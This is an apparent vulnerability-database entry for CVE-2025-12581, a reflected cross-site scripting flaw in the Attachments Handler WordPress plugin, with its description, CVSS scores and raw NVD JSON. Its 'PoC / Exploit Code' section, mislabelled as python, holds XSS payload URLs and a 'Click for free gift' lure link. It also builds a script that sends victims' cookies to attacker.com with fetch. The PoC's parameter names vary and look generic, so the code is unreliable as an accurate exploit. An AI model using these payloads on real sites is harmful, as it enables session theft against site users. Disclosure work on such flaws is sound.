Security Vulnerability Report
中文
CVE-2025-12581 CVSS 6.1 MEDIUM

CVE-2025-12581

Published: 2025-12-20 04:16:06
Last Modified: 2026-04-15 00:35:42

Description

The Attachments Handler plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Attachments Handler插件 <= 1.1.7 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Reflected XSS PoC for CVE-2025-12581 --> <!-- Attack URL that injects JavaScript via URL parameter --> <!-- The attacker crafts a URL like: http://target-site.com/wp-admin/admin.php?page=attachments-handler&param=<script>alert(document.cookie)</script> --> <!-- Example malicious URL --> <a href="http://vulnerable-site.com/wp-admin/admin.php?page=attachments-handler&search=</script><img src=x onerror=alert('XSS')>">Click for free gift</a> <!-- Automated PoC using fetch API --> <script> const xss_payload = "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"; const malicious_url = "http://target-wordpress.com/wp-admin/admin.php?page=attachments-handler&s=" + encodeURIComponent(xss_payload); console.log("Malicious URL:", malicious_url); </script> <!-- Curl-based PoC for verification --> <!-- curl 'http://target-site.com/wp-admin/admin.php?page=attachments-handler&param=<script>alert(1)</script>' -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12581", "sourceIdentifier": "[email protected]", "published": "2025-12-20T04:16:06.093", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Attachments Handler plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/attachments-handler/trunk/core/admin_table.class.php#L170", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/attachments-handler/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dc948f30-2fc2-40dd-878e-28e0eac857c7?source=cve", "source": "[email protected]"}]}}